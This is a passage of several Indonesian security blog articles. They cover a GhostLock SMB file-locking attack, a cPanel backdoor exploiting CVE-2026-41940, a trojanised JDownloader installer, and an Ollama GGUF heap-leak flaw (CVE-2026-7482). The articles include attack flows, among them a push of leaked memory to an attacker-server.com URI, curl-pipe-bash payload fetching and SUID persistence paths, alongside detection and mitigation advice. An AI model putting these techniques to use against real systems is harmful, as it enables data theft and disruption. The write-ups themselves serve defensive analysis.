Sederhananya, attacker hanya perlu membuka file menggunakan mode eksklusif dan mempertahankan handle tetap aktif. Tidak ada proses enkripsi. Tidak ada overwrite file. Tidak ada perubahan hash. File tetap utuh di disk, tetapi seluruh aplikasi lain kehilangan akses terhadapnya.

Dampaknya menjadi jauh lebih serius ketika teknik ini diarahkan ke SMB share dalam lingkungan enterprise. Banyak organisasi menyimpan ERP, dokumen keuangan, project engineering, atau database operasional di network share yang diakses banyak user sekaligus. Jika ribuan file dibuka dengan "ShareAccess = 0", workflow bisnis dapat berhenti total walaupun tidak ada satu byte pun yang dirusak.

Baca Juga Tentang: SMB - Lateral Movement

Yang membuat GhostLock menarik dari sudut offensive security adalah rendahnya kebutuhan privilege. Teknik ini dapat dijalankan hanya dengan hak baca standar terhadap SMB share. Tidak diperlukan administrator domain, kernel exploit, maupun bypass keamanan tambahan. Selama user memiliki izin membuka file, user tersebut dapat mengunci akses file bagi pengguna lain.

Ini mengubah paradigma availability attack. Biasanya serangan availability membutuhkan:

• enkripsi ransomware,
• destructive wiper,
• atau resource exhaustion.

GhostLock tidak melakukan semuanya tapihanya mengeksploitasi mekanisme locking yang memang sah di Windows.

Dalam skenario realistis, attacker yang sudah memperoleh foothold melalui phishing dapat menggunakan akun domain biasa untuk menjalankan GhostLock pada file server internal. Ketika tim IT sibuk menangani gangguan akses dokumen dan aplikasi bisnis yang gagal membuka file, attacker sebenarnya dapat menggunakan kekacauan tersebut sebagai distraksi untuk melakukan lateral movement atau exfiltration di sistem lain.

GhostLock lebih berbahaya sebagai operational decoy dibanding senjata penghancur utama. Gangguan akses file menciptakan tekanan besar pada administrator karena dampaknya langsung berdampak ke operasional bisnis. Banyak tim incident response akan fokus pada server storage terlebih dahulu, sementara aktivitas kompromi lain berjalan diam-diam di belakangnya.

Baca Juga Tentang: 

Ada detail teknis lain yang cukup penting. Sebagian besar EDR modern memonitor:

• mass file modification,
• suspicious encryption pattern,
• rename operation,
• atau proses write abnormal.

GhostLock hampir tidak menghasilkan telemetry tersebut karena prosesnya hanya membuka file secara legal menggunakan API bawaan Windows. Dari perspektif EDR, operasi ini terlihat seperti aplikasi biasa yang sedang membaca file.

Inilah alasan mengapa teknik ini sulit dideteksi menggunakan pendekatan behavioral ransomware konvensional. Satu-satunya indikator yang benar-benar konsisten justru berada di layer file server, yaitu lonjakan open-file handle dengan "ShareAccess = 0".

Masalahnya, metrik seperti ini jarang dikirim ke SIEM enterprise. Banyak organisasi bahkan tidak memonitor statistik handle SMB secara detail karena selama ini dianggap hanya data operasional storage, bukan indikator serangan.

Baca Juga Tentang: Teknis fast16 - SMB

Dari sudut pandang pentester atau red team, GhostLock menunjukkan bahwa availability attack tidak selalu membutuhkan eksploitasi kompleks. Terkadang fitur sistem operasi yang sah dapat memberikan dampak operasional yang sama besar dengan ransomware tanpa memicu alarm keamanan modern.

Teknik ini menjadi pengingat bahwa deteksi berbasis malicious behavior stereotype memiliki blind spot besar. Banyak organisasi terlalu fokus pada pola ransomware klasik hingga lupa bahwa denial-of-access juga bisa dicapai melalui mekanisme legitimate operating system.

Mitigasi terhadap GhostLock tidak sesederhana memasang patch karena tidak ada CVE yang diperbaiki. Pendekatan yang lebih relevan adalah monitoring SMB session behavior, terutama:

• jumlah open handle abnormal,
• handle dengan "ShareAccess = 0",
• dan pola locking massal dari satu user atau endpoint.

Selain itu, pembatasan akses SMB berbasis least privilege menjadi semakin penting. Banyak lingkungan enterprise memberikan read access terlalu luas terhadap network share internal. Dalam konteks GhostLock, akses baca saja sudah cukup untuk menghasilkan gangguan operasional besar.

GhostLock memperlihatkan sesuatu yang cukup menarik dalam dunia keamanan modern: tidak semua serangan membutuhkan malware canggih atau eksploitasi kernel. Kombinasi kecil antara fitur sistem operasi dan asumsi keamanan yang salah sudah cukup untuk melumpuhkan operasional organisasi tanpa meninggalkan jejak yang biasanya dicari oleh sistem pertahanan modern.

Github POC - WhitePaper

Benediktus Sava – Security Researcher

Sumber:

Microsoft-com

Zenodo

GhostLock

CVE-2026-41940: Backdoor Filemanager di cPanel - Ethical Hacking Indonesia

Eksploitasi terhadap panel hosting hampir selalu memiliki dampak yang lebih besar dibanding kompromi aplikasi biasa. Ketika penyerang berhasil mengambil alih cPanel atau WHM, yang jatuh bukan hanya satu website, tetapi keseluruhan ekosistem hosting yang berada di bawah server tersebut. Inilah yang membuat eksploitasi CVE-2026-41940 menjadi berbahaya. Vulnerability ini bukan sekadar authentication bypass, tetapi pintu masuk menuju persistence, credential harvesting, dan pengambilalihan infrastruktur hosting secara diam-diam.

Threat actor bernama Mr_Rot13 memanfaatkan celah ini untuk mendistribusikan backdoor bernama Filemanager ke server yang berhasil dikompromi. Menariknya, serangan ini tidak menunjukkan pola “noisy attack” seperti ransomware atau defacement massal. Operator justru membangun akses jangka panjang melalui SSH key, web shell, dan pencurian kredensial administrator hosting.

Secara teknis, CVE-2026-41940 memungkinkan attacker memperoleh kontrol tinggi terhadap cPanel dan WHM tanpa proses autentikasi normal. Setelah akses awal diperoleh, attacker menjalankan shell script yang mengunduh payload tambahan menggunakan wget atau curl. Teknik seperti ini cukup umum pada serangan Linux modern karena payload utama dapat diganti sewaktu-waktu tanpa perlu mengubah exploit awal.

Baca Juga Tentang: Privilege Escalation

Payload yang diunduh berupa infector berbasis Go. Pemilihan Go karena Binary Go relatif stabil untuk deployment lintas distribusi Linux dan lebih mudah dipindahkan ke environment lain seperti Windows atau macOS. Dari sini terlihat bahwa operator tidak hanya menargetkan satu server hosting, tetapi mencoba membangun infrastruktur kompromi yang fleksibel.

Tahap berikutnya jauh lebih menarik dibanding sekadar implant web shell biasa. Malware mulai menanam SSH public key untuk persistence. Ini detail yang sering diabaikan administrator. Banyak proses incident response hanya fokus menghapus file PHP mencurigakan, padahal attacker masih dapat kembali masuk melalui SSH selama authorized_keys belum dibersihkan.

Setelah persistence berhasil dibuat, Filemanager diunggah ke server. Secara fungsi, backdoor ini memang memiliki kemampuan standar seperti file upload, download, dan command execution. Namun yang membuatnya berbahaya adalah kemampuannya menyisipkan JavaScript pada halaman login cPanel. Korban kemudian diarahkan ke tampilan login palsu yang terlihat normal, sementara kredensial yang dimasukkan dikirim ke server attacker.

Teknik ini menunjukkan bahwa target utama bukan hanya server, tetapi identitas administrator hosting. Dalam banyak kasus, password cPanel sering digunakan ulang untuk email, database, FTP, bahkan akses cloud panel lain. Begitu kredensial dicuri, attacker dapat melakukan lateral movement jauh di luar server awal.

Ada skenario realistis yang cukup relevan di sini. Bayangkan sebuah provider shared hosting kecil menggunakan satu WHM untuk mengelola ratusan website pelanggan. Ketika CVE-2026-41940 dieksploitasi, attacker memperoleh akses administratif penuh lalu mulai memanen kredensial pengguna melalui login injection. Dari sana, attacker dapat masuk ke akun email pelanggan, mengambil database website bisnis, atau menyisipkan JavaScript skimmer ke banyak domain sekaligus.

Inilah alasan mengapa kompromi hosting panel sering berkembang menjadi supply chain attack. Satu server hosting yang jatuh dapat menjadi jalur distribusi malware ke puluhan bahkan ratusan website lain. Dampaknya tidak lagi terbatas pada satu organisasi.

Data yang dicuri juga menunjukkan bahwa operasi ini cukup matang. Malware mengumpulkan bash_history, data SSH, password database, informasi perangkat, hingga konfigurasi valiases cPanel. Pengambilan bash_history sangat penting karena banyak administrator masih mengetik password database atau token API langsung melalui terminal. Dalam beberapa kasus, attacker bahkan tidak perlu melakukan brute force tambahan karena kredensial sensitif sudah tersedia di riwayat shell.

Hal lain yang menarik adalah rendahnya tingkat deteksi terhadap infrastruktur Mr_Rot13 selama bertahun-tahun. Domain command-and-control yang digunakan ternyata sudah aktif sejak 2020 dan pernah muncul pada sampel backdoor lama sejak 2022. Ini mengindikasikan operasi yang berjalan senyap dalam jangka panjang.

Banyak threat actor modern mulai meninggalkan pola ransomware agresif dan beralih ke persistence jangka panjang karena lebih menguntungkan. Akses diam-diam ke server hosting memiliki nilai besar untuk phishing infrastructure, distribusi malware, credential theft, hingga monetisasi melalui access brokerage.

Bagi praktisi keamanan, mitigasi terhadap kasus seperti ini tidak cukup hanya melakukan patch pada cPanel. Administrator perlu menganggap bahwa server mungkin sudah terkompromi sebelum patch diterapkan. Audit terhadap authorized_keys, cron job, service abnormal, dan file PHP mencurigakan menjadi langkah yang jauh lebih penting dibanding sekadar menghapus satu web shell.

Baca Juga Tentang: Web Shell PHP

Monitoring behavioral juga lebih efektif dibanding IOC berbasis domain. Aktivitas seperti curl | bash, child process shell dari Apache atau PHP-FPM, serta modifikasi file login page cPanel harus dianggap sebagai indikator kompromi serius. Dalam banyak kasus, persistence berbasis SSH justru menjadi jalur akses utama attacker setelah web shell terdeteksi.

Kasus CVE-2026-41940 adalah vulnerability pada control panel hosting memiliki efek domino yang sangat luas. Ketika panel administrasi berhasil diambil alih, attacker tidak hanya mendapatkan akses ke satu website, tetapi juga identitas pengguna, infrastruktur email, database pelanggan, dan potensi distribusi malware skala besar. Ini yang membuat kompromi hosting panel jauh lebih berbahaya dibanding eksploitasi aplikasi web biasa.

Benediktus Sava – Security Researcher

Sumber:

qianxin-com

VirusTotal

Supply Chain Attack JDownloader via Installer RAT - Ethical Hacking Indonesia

Supply chain attack modern mulai bergeser dari kompromi source code menjadi manipulasi distribusi software. Kasus kompromi situs JDownloader menunjukkan pola yang semakin sering muncul dalam beberapa tahun terakhir: attacker tidak perlu membobol developer workstation atau menyisipkan backdoor ke repository internal untuk menginfeksi jutaan pengguna. Cukup dengan mengambil alih jalur distribusi installer, trust relationship antara user dan software vendor langsung runtuh.

Yang membuat insiden ini menarik secara teknis bukan hanya fakta bahwa website resmi berhasil disusupi, tetapi bagaimana attacker memahami perilaku pengguna software populer. Banyak user menganggap installer dari domain resmi otomatis aman, bahkan ketika Windows Defender mulai memberi warning atau signature publisher terlihat berubah. Dalam praktiknya, trust terhadap brand sering mengalahkan warning security dari sistem operasi.

Baca Juga Tentang: Supply Chain Attack

Pada kasus ini, attacker berhasil memodifikasi link download pada website resmi JDownloader melalui kompromi CMS yang memiliki vulnerability belum dipatch. Menurut laporan developer, attacker tidak memperoleh akses OS-level terhadap server. Ini berarti kompromi kemungkinan besar terbatas pada layer aplikasi web dan permission CMS, namun itu sudah cukup untuk mengubah seluruh jalur distribusi software.

Baca Juga Tentang: CMS Exploitation

Di sinilah karakteristik supply chain attack modern mulai terlihat. Attacker tidak perlu mempertahankan persistence panjang di infrastruktur korban. Mereka hanya membutuhkan kemampuan mengubah artefak yang diunduh user selama beberapa jam untuk menghasilkan ribuan endpoint terinfeksi.

Target utama attack berada pada dua jalur distribusi:

• Windows “Alternative Installer”
• Linux shell installer

Distribusi utama seperti JAR package, Winget, Flatpak, dan macOS installer tidak terkena dampak. Ini kemungkinan menunjukkan attacker sengaja memilih jalur distribusi yang memiliki validasi keamanan lebih lemah dan lebih sedikit verifikasi signature otomatis.

Pada sisi Windows, payload yang didistribusikan ternyata bukan trojan sederhana, melainkan loader yang men-deploy Python-based RAT dengan obfuscation berat. Ini cukup penting karena malware berbasis Python mulai semakin populer pada operasi modern akibat beberapa alasan:

• Mudah dimodifikasi secara modular
• Cepat dikembangkan
• Cross-platform
• Sulit dianalisa ketika diproteksi PyArmor
• Dapat menjalankan dynamic payload dari C2

Baca Juga Tentang: Python Malware

Berbeda dengan malware tradisional yang seluruh logic-nya berada di binary utama, framework RAT modular memungkinkan attacker mengirim Python code baru langsung dari command and control server. Artinya kapabilitas malware dapat berubah setelah infeksi awal tanpa perlu mendistribusikan ulang executable baru.

Secara operasional, model seperti ini lebih menyerupai post-exploitation framework dibanding trojan statis biasa.

Dari perspektif threat modeling, ini membuat attack jauh lebih fleksibel. Endpoint yang awalnya hanya digunakan untuk persistence dapat berubah menjadi:

• credential stealer
• lateral movement node
• internal reconnaissance bot
• proxy tunnel
• crypto miner
• loader ransomware

Semua tergantung module Python yang dikirim dari server C2.

Yang lebih menarik justru payload Linux-nya. Banyak organisasi masih menganggap Linux desktop atau workstation developer relatif aman dibanding Windows. Namun attack ini menunjukkan attacker mulai serius membangun malware Linux dengan persistence penuh.

Baca Juga Tentang: Linux Privilege Escalation

Shell installer JDownloader dimodifikasi untuk mengunduh archive tambahan dari domain eksternal yang disamarkan sebagai file SVG. Teknik penyamaran seperti ini cukup efektif karena banyak monitoring system hanya memfilter executable extension tertentu.

Setelah diunduh, script mengekstrak dua ELF binary:

• pkg
• systemd-exec

Komponen paling berbahaya di sini adalah pemasangan systemd-exec sebagai SUID-root binary di /usr/bin/.

Dalam Linux, SUID memungkinkan executable berjalan dengan privilege owner file, bukan privilege user yang menjalankannya. Jika owner adalah root, maka binary tersebut effectively menjadi privilege escalation primitive permanen.

Artinya attacker tidak hanya memperoleh initial access, tetapi juga persistence dan kemampuan privilege escalation jangka panjang.

Persistence kemudian diperkuat melalui:

"/etc/profile.d/systemd.sh"

Script ini otomatis dieksekusi ketika shell session dimulai, membuat malware aktif kembali setiap login.

Payload utama juga disamarkan sebagai:

"/usr/libexec/upowerd"

Ini bukan sekadar rename acak. "upowerd" adalah service Linux legitimate yang cukup umum sehingga proses terlihat normal di process list. Teknik ini menunjukkan attacker memahami operational stealth pada environment Linux.

Kasus ini memperlihatkan perubahan penting dalam ekosistem malware modern: Linux endpoint kini mulai diperlakukan sebagai target mainstream, terutama karena banyak developer, DevOps engineer, dan administrator menggunakan Linux workstation yang memiliki akses credential sangat sensitif.

Dalam skenario realistis, compromise seperti ini bisa menghasilkan dampak jauh lebih besar dibanding infeksi user biasa. Bayangkan seorang DevOps engineer menginstal JDownloader pada workstation Linux yang juga memiliki:

• SSH key production
• Kubernetes config
• cloud credential
• GitHub PAT
• VPN certificate
• Docker registry token

Karena payload berjalan dengan persistence dan kemungkinan privilege escalation, attacker berpotensi memperoleh akses ke infrastruktur organisasi tanpa perlu mengeksploitasi server production secara langsung.

Ini mengubah insiden dari “malware installer” menjadi supply chain entry point menuju cloud infrastructure compromise.

Dari sisi defensive security, ada insight penting yang sering diabaikan: digital signature bukan hanya formalitas compliance. Pada insiden ini, indikator awal compromise justru berasal dari perubahan publisher signature menjadi:

• “Zipline LLC”
• “The Water Team”

Sementara installer legitimate ditandatangani oleh:

"AppWork GmbH"

Masalahnya, banyak user terbiasa mengabaikan warning publisher selama software tetap berjalan normal. Dalam supply chain attack, behavioral weakness seperti ini sering lebih efektif dibanding eksploitasi teknis kompleks.

Bagi security engineer, kasus ini menunjukkan mengapa software allowlisting berbasis hash jauh lebih kuat dibanding sekadar reputation-based trust. Ketika domain resmi sudah dikompromi, filtering berbasis URL atau publisher reputation mulai kehilangan efektivitas.

Dari perspektif pentesting dan incident response, ada beberapa IOC yang menarik untuk diperhatikan:

• komunikasi ke domain C2 PHP endpoint
• executable Python obfuscated dengan PyArmor
• SUID binary abnormal
• persistence di "/etc/profile.d/"
• proses menyamar sebagai upowerd

Pada Linux environment, keberadaan binary SUID baru seharusnya langsung dianggap suspicious karena sebagian besar workstation normal jarang membuat SUID file tambahan secara dinamis.

Mitigasi terhadap kasus seperti ini tidak cukup hanya dengan “hapus malware”. Developer JDownloader sendiri menyarankan reinstall OS penuh, dan itu keputusan yang masuk akal. Ketika arbitrary code execution telah terjadi, tidak ada jaminan persistence atau credential theft dapat dibersihkan sepenuhnya.

Langkah mitigasi yang lebih relevan untuk organisasi meliputi:

• verifikasi digital signature sebelum deployment software
• mirror internal untuk installer trusted
• monitoring perubahan SUID binary
• outbound filtering terhadap domain baru
• sandboxing installer pihak ketiga
• isolasi workstation developer dari credential produksi

Kasus JDownloader juga memperlihatkan tren yang semakin jelas sepanjang 2026. Sebelumnya pola serupa terjadi pada:

• CPU-Z
• HWMonitor
• DAEMON Tools

Artinya attacker mulai memahami bahwa mengkompromi website software populer memberikan ROI jauh lebih tinggi dibanding phishing individual. Satu kompromi website dapat menghasilkan ribuan endpoint baru dalam hitungan jam.

Dalam konteks yang lebih luas, supply chain attack kini tidak lagi identik dengan kompromi dependency seperti SolarWinds atau malicious package di npm. Jalur distribusi software, CMS website, update mirror, dan installer alternatif kini sama berbahayanya. Bahkan pada banyak kasus, attack surface distribusi justru lebih lemah dibanding source code infrastructure itu sendiri.

Benediktus Sava – Security Researcher

Sumber:

Security Affairs

Bleeping Computer

Ollama CVE-2026-7482: Memory Leak via GGUF Quantization - Ethical Hacking Indonesia

Ollama selama ini diposisikan sebagai solusi private AI inference untuk organisasi yang ingin menjalankan LLM secara lokal tanpa bergantung pada cloud provider seperti OpenAI atau Anthropic. Namun CVE-2026-7482 memperlihatkan paradoks yang cukup serius dalam ekosistem local LLM: sistem yang dibangun untuk menjaga privasi justru dapat membocorkan seluruh heap memory proses inference hanya melalui manipulasi file model.

Kerentanan ini bukan bug parser biasa. Dampaknya jauh lebih dekat ke kategori cross-session memory disclosure karena data yang bocor bukan hanya metadata model, tetapi juga prompt pengguna lain, system prompt internal, hingga environment variables dari host yang menjalankan Ollama. Dalam konteks enterprise AI deployment, ini berarti rahasia organisasi dapat terekspos tanpa perlu autentikasi sama sekali. 

Secara teknis, akar masalahnya berada pada kombinasi tiga faktor: parsing file GGUF yang terlalu percaya pada metadata tensor, penggunaan package "unsafe" di Go, dan proses quantization pipeline yang membaca data tensor berdasarkan nilai shape tanpa memverifikasi ukuran buffer sebenarnya.

Baca Juga Tentang: Memory Corruption (dirty frag)

Arsitektur eksploitasi dimulai dari endpoint "/api/blobs/sha256:[digest]", yang memungkinkan attacker mengunggah file GGUF kustom. Setelah file tersedia di server, attacker menggunakan "/api/create" untuk membangun model baru dari file tersebut. Pada tahap ini, Ollama melakukan parsing tensor dan memproses quantization apabila parameter "quantize" diberikan.

Masalah muncul saat fungsi "WriteTo()" memanggil "ConvertToF32()". Fungsi ini menggunakan nilai Elements() dari tensor shape untuk menentukan berapa banyak data yang harus dibaca dari buffer tensor asli. Di sinilah validasi ukuran buffer gagal total.

Tensor dalam GGUF bersifat deklaratif. Artinya attacker bebas menentukan shape seperti "(1000000)" walaupun data asli hanya memiliki beberapa byte. Ketika "ggml_fp16_to_fp32_row()" melakukan loop konversi berdasarkan jumlah elemen tersebut, proses akan membaca melewati batas heap buffer asli (out-of-bounds heap read).

Pada bahasa seperti C atau C++, pola ini sudah lama dikenal sebagai primitive memory disclosure klasik. Yang menarik, kasus ini terjadi di Go bahasa yang secara umum dianggap memory-safe. Namun penggunaan package unsafe secara efektif menonaktifkan proteksi runtime Go dan membawa kembali risiko low-level memory corruption ala native programming.

Yang membuat vulnerability ini sangat berbahaya adalah bagaimana Ollama memproses hasil pembacaan tersebut. Data yang telah tercampur dengan isi heap tidak langsung dibuang atau menyebabkan panic. Sebaliknya, data tersebut diteruskan ke pipeline quantization lalu ditulis ulang ke file model baru.

Dengan kata lain, heap memory secara literal “diserialisasi” menjadi model AI.

Teknik eksploitasi paling efektif memanfaatkan konversi lossless dari F16 ke F32. Dalam kondisi normal, quantization biasanya merusak presisi data sehingga memory leak menjadi sulit dibaca. Namun attacker dapat menyetel tensor source sebagai F16 lalu meminta output F32 melalui parameter quantize.

Karena F16 -- F32 tidak bersifat lossy, data heap yang terbaca di luar buffer tetap utuh ketika ditulis ke disk. Ini bukan hanya bypass terhadap corruption akibat quantization, tetapi juga contoh bagaimana pipeline optimisasi AI dapat berubah menjadi mekanisme exfiltration.

Dari perspektif offensive security, ini adalah primitive yang sangat kuat karena:

• Tidak membutuhkan autentikasi
• Tidak membutuhkan RCE
• Tidak membutuhkan filesystem access
• Tidak membutuhkan crash
• Dapat dilakukan melalui API normal

Eksfiltrasi data kemudian dilakukan melalui endpoint /api/push. Secara desain, endpoint ini digunakan untuk mengunggah model ke registry eksternal. Namun implementasi "PushHandler" memperbolehkan nama model berbentuk URI penuh seperti:

"http://attacker-server.com/namespace/model:tag"

Ketika model hasil memory leak dipush menggunakan nama tersebut, Ollama otomatis mengirim seluruh model ke server attacker. Ini kemudian mengubah vulnerability dari sekadar local memory disclosure menjadi remote unauthenticated data exfiltration pipeline.

Secara praktis, alur serangan hanya membutuhkan tiga request:

1. Upload GGUF berbahaya
2. Trigger "/api/create"
3. Push hasil model ke server attacker

Dalam skenario enterprise, dampaknya bisa jauh lebih besar dibanding sekadar kebocoran prompt pengguna. Banyak deployment Ollama modern dijalankan sebagai bagian dari AI gateway internal, agentic workflow, atau automation stack. Environment variable yang bocor dapat berisi:

• API key cloud provider
• Credential database
• Access token GitHub
• Internal endpoint
• Prompt rahasia agent AI
• Instruction policy model internal

Yang menarik, vulnerability ini juga memperlihatkan masalah struktural yang mulai muncul di ekosistem local AI infrastructure: parser model AI kini menjadi attack surface baru.

Sebelumnya banyak organisasi menganggap model AI hanyalah “data”. Namun format seperti GGUF sebenarnya lebih dekat ke executable container dibanding file statis biasa. Ia memiliki struktur kompleks, metadata, tensor layout, conversion pipeline, dan parser khusus yang berjalan dengan hak akses proses inference.

Artinya supply chain AI kini tidak hanya tentang poisoned model atau malicious weights, tetapi juga malformed model file yang dapat menyerang runtime inference engine itu sendiri.

Bagi pentester, CVE-2026-7482 membuka area pengujian baru pada AI stack:

• Validasi parser model
• Unsafe memory operation pada inference engine
• Quantization pipeline abuse
• Model registry abuse
• Cross-tenant prompt leakage

Sedangkan bagi developer dan security engineer, kasus ini menunjukkan bahwa “memory-safe language” bukan jaminan keamanan ketika unsafe primitive digunakan tanpa boundary validation ketat.

Mitigasi utama seharusnya dilakukan pada beberapa layer sekaligus.

Pertama, Ollama harus memvalidasi bahwa ukuran tensor aktual sesuai dengan jumlah elemen yang dideklarasikan dalam shape tensor sebelum melakukan konversi. Nilai "Elements()" tidak boleh dipercaya begitu saja karena seluruh metadata GGUF bersifat attacker-controlled.

Kedua, endpoint "/api/push" seharusnya membatasi registry tujuan melalui allowlist atau memblok URI arbitrary sepenuhnya. Mengizinkan user menentukan destination URI secara bebas menciptakan kanal exfiltration internal yang sangat berbahaya.

Ketiga, deployment Ollama sebaiknya dipisahkan dari environment sensitif. Menjalankan inference engine dengan environment variable berisi credential produksi memperbesar blast radius ketika memory disclosure terjadi.

Selain itu, organisasi yang menggunakan Ollama secara multi-user perlu memahami bahwa prompt isolation tidak benar-benar aman jika seluruh proses inference berbagi heap memory yang sama. Dalam praktiknya, satu user dapat membaca konteks user lain hanya melalui model file berbahaya.

Kasus CVE-2026-7482 kemungkinan akan menjadi referensi penting ke depan karena memperlihatkan bahwa attack surface AI tidak lagi terbatas pada prompt injection atau jailbreak. Infrastructure layer dari local LLM runtime kini mulai memasuki kategori eksploitasi low-level yang sebelumnya lebih umum ditemukan pada browser engine, hypervisor, atau image parser.

Benediktus Sava – Security Researcher

Sumber:

cyera-com

teanable-com